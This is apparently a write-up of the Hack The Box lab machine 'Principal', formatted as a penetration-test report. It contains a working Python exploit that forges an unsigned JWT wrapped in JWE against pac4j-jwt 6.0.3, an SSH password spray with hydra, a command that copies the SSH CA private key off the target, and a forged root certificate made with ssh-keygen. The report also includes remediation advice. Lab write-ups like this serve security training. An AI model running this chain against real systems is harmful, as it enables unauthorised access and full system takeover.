← Writeups
HTB - Principal badge

2026-04-21 • htb • medium • linux

HTB - Principal

CVE-2026-29000 in pac4j-jwt 6.0.3 allows forging an unsigned JWT wrapped in JWE to bypass authentication. API settings leak an SSH deployment password. The svc-deploy user reads a CA private key via group membership, enabling SSH certificate forgery to authenticate as root.

cvepac4jjwtjwessh-certificateca-abusepassword-spray nmaphydrapythonssh-keygen

Hack The Box — Principal

Medium | Linux | Hack The Box


FieldValue
Report Date21 April 2026
Assessed ByRobInTheHood
Target IP10.129.33.71
Hostnameprincipal
DomainN/A

Table of Contents

  1. Executive Summary
  2. Scope
  3. Methodology
  4. Attack Chain Summary
  5. Findings
  6. Proof of Access
  7. Credentials Discovered
  8. Impact Assessment
  9. Remediation Summary
  10. Key Takeaways
  11. Tools Used
  12. Disclaimer

1. Executive Summary

This report documents the compromise workflow for the Hack The Box machine Principal. The objective was to obtain full system-level access in an authorised lab environment and document the attack path with reproducible evidence.

A Java web application exposes a JWKS endpoint and is running pac4j-jwt 6.0.3, affected by CVE-2026-29000. This vulnerability allows an attacker to craft an unsigned JWT (PlainJWT) wrapped inside a JWE token, bypassing signature verification entirely. With admin access, the /api/settings endpoint leaks an encryption key reused as the SSH password for the svc-deploy account. That account belongs to the deployers group, which has read access to the SSH Certificate Authority private key. Signing a forged certificate for root and connecting via SSH yields full system compromise.


2. Scope

FieldValue
Target IP10.129.33.71
Hostnameprincipal
DomainN/A
Operating SystemLinux
Machine RatingMedium
EnvironmentHack The Box — Authorised Training Lab
Assessment Date21 April 2026
AssessorRobInTheHood

3. Methodology

  • Reconnaissance — service discovery and external attack-surface mapping
  • Enumeration — credential, configuration, and trust-path analysis
  • Exploitation — initial access through validated vulnerability paths
  • Lateral Movement — privilege pivoting and cross-context execution
  • Privilege Escalation — full compromise to root/SYSTEM context
  • Post-Exploitation — proof collection and impact-oriented validation

4. Attack Chain Summary

PhaseTechniqueMITRE ATT&CK
ReconNmap — SSH on 22, Jetty web app on 8080T1046
Enumeration/api/auth/jwks exposes RSA public key; /static/js/app.js reveals API endpointsT1083
Initial AccessCVE-2026-29000 — unsigned JWT wrapped in JWE bypasses pac4j-jwt authT1190 · T1528
Info Gathering/api/settings leaks encryptionKey: D3pl0y_$$H_Now42!T1552
User AccessPassword spray → svc-deploy:D3pl0y_$$H_Now42! via SSHT1110.003
Privilege Escalationdeployers group read on SSH CA private key → forge root certificate → SSH as rootT1552.004 · T1649 · T1021.004

5. Findings

F-01 — Technical Walkthrough

Reconnaissance

nmap -sC -sV 10.129.33.71
PortService
22/tcpOpenSSH 9.6p1 Ubuntu
8080/tcpJetty (Java web application)

Enumeration — Web Application

Browsing the application source at /static/js/app.js reveals all relevant API endpoints:

const JWKS_ENDPOINT = '/api/auth/jwks';
const AUTH_ENDPOINT = '/api/auth/login';
const DASHBOARD_ENDPOINT = '/api/dashboard';
const USERS_ENDPOINT = '/api/users';
const SETTINGS_ENDPOINT = '/api/settings';

const ROLES = {
    ADMIN: 'ROLE_ADMIN',
    MANAGER: 'ROLE_MANAGER',
    USER: 'ROLE_USER'
};

The JWKS endpoint exposes the RSA public key used to encrypt JWE tokens — the key material needed to exploit CVE-2026-29000.


Initial Access — CVE-2026-29000 (pac4j-jwt Authentication Bypass)

The application uses pac4j-jwt 6.0.3. This version is affected by CVE-2026-29000: the toSignedJWT() method processes an unsigned PlainJWT as-is and returns null for signature verification, which the framework interprets as a valid bypass condition.

Attack flow:

  1. Fetch the RSA public key from /api/auth/jwks
  2. Forge an unsigned JWT with ROLE_ADMIN
  3. Wrap it inside a JWE encrypted with the RSA public key
  4. Submit the JWE as a Bearer token
import requests, json, base64, time
from jwcrypto import jwt, jwk

TARGET = "http://10.129.33.71:8080"

# Step 1 — Fetch RSA public key
jwk_json = requests.get(f"{TARGET}/api/auth/jwks").json()["keys"][0]
key_pem = jwk.JWK().from_json(json.dumps(jwk_json))

# Step 2 — Forge unsigned JWT
def b64url(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

now = int(time.time())
header = {"alg": "none"}
payload = {
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": now,
    "exp": now + 3600,
}
plain_jwt = f"{b64url(json.dumps(header))}.{b64url(json.dumps(payload))}."

# Step 3 — Wrap in JWE
jwe_token = jwt.JWT(
    header={
        "alg": "RSA-OAEP-256",
        "enc": "A256CBC-HS512",
        "typ": "JWE",
        "kid": key_pem.thumbprint(),
    },
    claims=plain_jwt,
)
jwe_token.make_encrypted_token(key_pem)
token = jwe_token.serialize()

# Step 4 — Access /api/settings
headers = {"Authorization": f"Bearer {token}"}
resp = requests.get(f"{TARGET}/api/settings", headers=headers)
print(resp.json())

Result — /api/settings response:

{
  "security": {
    "authFramework": "pac4j-jwt",
    "authFrameworkVersion": "6.0.3",
    "encryptionKey": "D3pl0y_$$H_Now42!",
    ...
  },
  "infrastructure": {
    "sshCaPath": "/opt/principal/ssh/",
    "sshCertAuth": "enabled",
    "notes": "SSH certificate auth configured for automation - see /opt/principal/ssh/ for CA config."
  }
}

The encryptionKey value is a plaintext secret exposed in the API response. The infrastructure notes hint at an SSH CA configuration.


User Access — Password Spray via SSH

The /api/users endpoint (accessible with the forged admin token) returns a list of system users. The leaked encryptionKey is tested as an SSH password across all accounts:

hydra -L users.txt -p 'D3pl0y_$$H_Now42!' 10.129.33.71 ssh
[22][ssh] host: 10.129.33.71   login: svc-deploy   password: D3pl0y_$$H_Now42!
ssh svc-deploy@10.129.33.71
svc-deploy@principal:~$ cat user.txt
1d51b434b8ca214bfa495233ab9c5e78

Privilege Escalation — SSH CA Certificate Forgery

Group permissions on the CA

svc-deploy@principal:~$ id
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)

svc-deploy@principal:~$ ls -al /opt/principal/ssh/
-rw-r----- 1 root deployers  288 Mar  5 21:05 README.txt
-rw-r----- 1 root deployers 3381 Mar  5 21:05 ca CA private key
-rw-r--r-- 1 root root       742 Mar  5 21:05 ca.pub

The svc-deploy account (member of deployers) can read the SSH Certificate Authority private key.

SSHD configuration

svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub

PermitRootLogin prohibit-password blocks password authentication for root but permits certificate-based authentication. Since the server trusts certificates signed by /opt/principal/ssh/ca.pub, any certificate signed by the CA private key is accepted.

Exploitation — forge root certificate

Step 1 — Exfiltrate the CA private key (copy from target to attacker machine):

# On attacker (Kali):
ssh svc-deploy@10.129.33.71 "cat /opt/principal/ssh/ca" > ca
chmod 600 ca

Step 2 — Generate a new keypair:

ssh-keygen -t ed25519 -f root_cert -N ""

Step 3 — Sign the public key for principal root:

ssh-keygen -s ca \
  -I "root" \
  -n "root" \
  -V +52w \
  root_cert.pub

Verify the certificate:

ssh-keygen -L -f root_cert-cert.pub
Type: ssh-ed25519-cert-v01@openssh.com user certificate
Public key: ED25519-CERT ...
Signing CA: RSA ...
Key ID: "root"
Serial: 0
Valid: from ... to ...
Principals:
        root

Step 4 — Authenticate as root:

ssh -i root_cert root@10.129.33.71
root@principal:~# id
uid=0(root) gid=0(root) groups=0(root)

root@principal:~# cat /root/root.txt
d931dd6735f5f1368c6649cc4f275903

6. Proof of Access

LevelEvidence
User (svc-deploy)1d51b434b8ca214bfa495233ab9c5e78
Rootd931dd6735f5f1368c6649cc4f275903

7. Credentials Discovered

AccountSecretTypeSource
svc-deployD3pl0y_$$H_Now42!SSH password/api/settingsencryptionKey field
SSH CAPrivate key (RSA)Certificate signing key/opt/principal/ssh/ca (readable by deployers)

8. Impact Assessment

Successful exploitation resulted in full system-level compromise via a three-stage chain: authentication bypass, credential exposure through an internal API, and SSH CA key abuse. An attacker with network access to port 8080 could replicate this chain without any prior credentials.


9. Remediation Summary

PriorityAction
CriticalUpgrade pac4j-jwt to a version not affected by CVE-2026-29000; reject PlainJWT tokens server-side.
CriticalRemove sensitive secrets (encryption keys, infrastructure notes) from API responses.
HighRestrict SSH CA private key to root only — remove deployers group read permission.
HighRotate the exposed D3pl0y_$$H_Now42! credential and all derived secrets.
MediumEnforce principle of least privilege on service accounts in the deployers group.
MediumAdd alerting for SSH certificate-based logins, especially for root.

10. Key Takeaways

  • An authentication bypass in a JWT library can cascade into full credential exposure if internal APIs are not independently access-controlled.
  • Secrets embedded in API configuration responses are a critical data-leak vector, even when the endpoint requires authentication.
  • SSH Certificate Authority infrastructure requires strict key custody — any account that can read the CA private key effectively holds the keys to the entire trust domain.

11. Tools Used

ToolPurpose
nmapPort and service discovery
python (jwcrypto)CVE-2026-29000 exploitation — JWT/JWE forgery
hydraSSH password spray
ssh-keygenSSH certificate forgery and CA signing

12. Disclaimer

This assessment was performed exclusively in an authorised Hack The Box training environment for educational and portfolio purposes.


End of Report — Principal | RobInTheHood | 21 April 2026